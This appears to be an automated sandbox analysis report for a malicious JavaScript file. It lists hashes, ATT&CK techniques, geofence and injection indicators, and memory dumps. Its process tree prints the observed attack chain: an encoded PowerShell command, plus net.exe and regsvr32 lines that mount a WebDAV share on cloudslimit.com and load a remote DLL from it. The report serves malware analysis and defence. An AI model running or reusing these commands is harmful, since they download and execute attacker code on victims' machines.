b68858bc78a1126f69842ed554d903d21979b4d42d820e607175d13d04a909fc

Analysis

max time kernel
132s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
25/07/2024, 21:04

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General

Target

279449512299319730.js
Size

16KB
MD5

55e0ba8d36f56f2442d73c097e2bbf66
SHA1

7c8e5b1043f6ac2d7a47e019ee85ebbe6324579c
SHA256

b68858bc78a1126f69842ed554d903d21979b4d42d820e607175d13d04a909fc
SHA512

4aa32eda5710ad7794cc51bc559d2c2a322ecb4240273434b42044326d8d2545edd3c3fc4c2e56c7d02e46412bebeea6f898838a1ab9977f922610110c3e7bb5
SSDEEP

192:aF7A4uuu6iU0vxHUuU5U132U0UusUJU+Ruweyf+OtqJuB3qp3:aFTuh6peDf

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3580	powershell.exe
3580	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3580	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2800 wrote to memory of 3580	2800	wscript.exe	83
PID 2800 wrote to memory of 3580	2800	wscript.exe	83
PID 3580 wrote to memory of 1712	3580	powershell.exe	85
PID 3580 wrote to memory of 1712	3580	powershell.exe	85
PID 3580 wrote to memory of 3420	3580	powershell.exe	86
PID 3580 wrote to memory of 3420	3580	powershell.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\279449512299319730.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADUAMwAyADgAMgAwADgAOQA5ADUAMwAwADQALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3580
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:1712
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\25328208995304.dll
    3⤵
    PID:3420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1fwmymcb.jtc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3580-0-0x00007FFD8DD63000-0x00007FFD8DD65000-memory.dmp

Filesize
8KB

Download
memory/3580-10-0x000001AAE1C60000-0x000001AAE1C82000-memory.dmp

Filesize
136KB

Download
memory/3580-11-0x00007FFD8DD60000-0x00007FFD8E821000-memory.dmp

Filesize
10.8MB

Download
memory/3580-12-0x00007FFD8DD60000-0x00007FFD8E821000-memory.dmp

Filesize
10.8MB

Download
memory/3580-15-0x00007FFD8DD60000-0x00007FFD8E821000-memory.dmp

Filesize
10.8MB

Download